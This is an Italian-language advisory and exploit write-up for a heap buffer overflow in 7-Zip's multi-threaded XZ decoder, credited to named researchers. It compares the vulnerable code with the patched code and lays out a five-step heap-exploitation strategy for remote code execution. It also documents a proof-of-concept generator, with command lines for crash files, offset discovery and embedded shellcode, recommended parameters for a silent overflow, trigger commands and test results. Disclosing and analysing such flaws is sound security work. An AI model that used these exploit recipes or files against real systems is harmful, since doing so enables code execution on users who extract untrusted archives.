CVE-2026-14266 — Overflow del buffer heap nel decoder XZ di 7-Zip

Gravità critica | CVSS: 8.8 (Alta) | CWE-122: Buffer overflow basato su heap
Versioni interessate: 7-Zip ≤ 26.01 | Corretto: 7-Zip 26.02 (2026-06-25)
Scoperto e analizzato da: Li Yuxuan (liyuxuan504-byte) e team

---

Sintesi Esecutiva

Nelle versioni di 7-Zip ≤ 26.01 è presente un overflow del buffer heap nel percorso del decoder XZ multi-threaded. Un archivio .xz appositamente predisposto può innescare una scrittura fuori dai limiti oltre il buffer di output allocato nell'heap, causando:

• Denial of Service (confermato) — crash affidabile con STATUS_ACCESS_VIOLATION (0xC0000005)
• Esecuzione di codice remoto (potenziale) — l'overflow dell'heap controllato consente la corruzione di puntatori a funzione / vtable nelle giuste condizioni di layout dell'heap

La vulnerabilità risiede in MixCoder_Code() in C/XzDec.c, dove il ramo SingleBuf (outBuf) passa un destLen2 non controllato al decoder LZMA2 senza limitarlo rispetto alla capacità residua del buffer (outBufSize - outWritten).

Qualsiasi sistema o applicazione che utilizzi una versione vulnerabile di 7-Zip (o 7z.dll) per estrarre file .xz non attendibili è a rischio: il percorso multi-threaded è abilitato per impostazione predefinita sui sistemi multi-core.

---

Analisi Approfondita della Vulnerabilità

Percorso di Codice Interessato

XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(outBuf branch, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← NO boundary clamp
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← can exceed dicBufSize
        → Lzma2Dec_DecodeToDic(...)
          → LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
            → dicPos exceeds dicBufSize → HEAP OVERFLOW

Causa Radice (26.01 vs 26.02)

Vulnerabile (26.01) — C/XzDec.c ~L606:

if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← raw value, no clamping!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← tracks total but never checks
}

Corretto (26.02) — C/XzDec.c ~L605:

if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NEW boundary check
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // data inconsistency → abort
        destLen2 -= p->outWritten;       // clamp to remaining capacity!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

La correzione è di sole 3 righe. Sottrae p->outWritten (byte già scritti in questo outBuf) da destLen2 prima di passarlo al decoder LZMA2, garantendo che il decoder non possa mai scrivere oltre il buffer allocato.

Perché Solo Multi-Threaded?

Nel percorso single-threaded, XzUnpacker_Code applica un proprio clamp rem basato su unpackSize prima di chiamare MixCoder_Code. Questo clamp limita correttamente l'output. Il percorso multi-threaded SingleBuf aggira questo clamp perché passa destLenOrig direttamente — il clamp a monte è inefficace quando destLen è pre-impostato alla dimensione completa dei dati di input rimanenti anziché all'effettiva capacità residua del buffer.

---

Analisi dello Sfruttamento

Comportamento dell'Allocazione nell'Heap

L'outBuf viene allocato nell'heap CRT tramite ISzAlloc_Alloc(allocMid, unpackSize):

unpackSize	Allocatore	Sfruttabilità
≤ 16 KB	LFH (Low Fragmentation Heap)	★ Ottimale per RCE — oggetti adiacenti nello stesso bucket
16–64 KB	Segment Heap (Backend)	Possibile — corruzione della free-list
≥ 64 KB	VirtualAlloc (allineato alle pagine)	Solo DoS — la guard page blocca l'overflow

Strategia RCE (Percorso LFH)

L'approccio di sfruttamento più promettente:

1. Usare un unpackSize piccolo (256–16384 byte) per innescare l'allocazione LFH
2. Overflow oltre outBuf nei sottosegmenti LFH adiacenti
3. Corrompere il puntatore next della free-list LFH → si ottiene una primitiva di allocazione arbitraria
4. Allocare su un obiettivo (puntatore a funzione, vtable, indirizzo di ritorno)
5. Attivare il puntatore corrotto → esecuzione di codice

Stato Attuale

Capacità	Stato
DoS (crash)	✅ Confermato, affidabile su 7-Zip 26.00 x64
Overflow dell'heap silenzioso (LFH)	✅ Confermato — scrive oltre il buffer, codice di uscita 2, nessun crash
Consegna controllata del payload	✅ Completamente controllabile tramite i dati dei copy-chunk LZMA2
Primitive di layout dell'heap	✅ Concetto dimostrato — richiede ottimizzazione del layout specifica del target
Catena RCE completa	❌ In corso — richiede analisi del layout dell'heap sul target

Perché il Debugging è Difficile

I debugger convenzionali (x64dbg, WinDbg) modificano il comportamento di creazione dei processi. Sotto un debugger, 7z.dll potrebbe non caricare mai il percorso XZ multi-threaded — il processo torna silenziosamente alla modalità single-threaded, dove la vulnerabilità non si attiva. L'approccio richiesto è stato:

• Avviare 7z.exe fuori dal debugger
• Collegarsi entro 1–2 secondi (prima del crash)
• Oppure utilizzare un mini-debugger personalizzato (fornito in tools/)

---

Generatore di PoC

poc/poc-cve-2026-14266-rce.py è un generatore di exploit XZ completo:

Avvio Rapido

# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

Parametri Chiave

Parametro	Descrizione	Consigliato
--unpack-size	unpackSize dichiarato del blocco (= dimensione di allocazione di outBuf)	256–4096 per RCE LFH
--overflow	Byte totali da scrivere oltre outBuf	4096–32768
--chunk-size	Dimensione dei dati dei copy-chunk LZMA2 (1–65535)	NON deve dividere uniformemente unpackSize! Usare un numero primo (97) o --force-align-overflow
--payload-cyclic	Pattern ciclico per la scoperta dell'offset	Usare prima, poi sostituire con il payload reale
--payload-shellcode	Incorpora lo shellcode Win x64 WinExec("calc.exe")	~276 byte

Attivazione

# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL

# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL

---

Risultati dei Test

Testato su: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00

unpackSize	chunk_size	Overflow	Risultato
256 KB (0x40000)	4096 (allineato)	~32 KB	0xC0000005 — Access Violation (guard page)
256 KB	3 (DoS originale)	~30 KB	0xC0000005 — Access Violation
256 KB	4096	~32 KB	0xC0000374 — Corruzione heap rilevata
256 B	97	~1 KB	Exit 2 — Overflow silenzioso!
4 KB	97	~16 KB	Exit 2 — Overflow silenzioso!
16 KB	97	~32 KB	Exit 2 — Overflow silenzioso!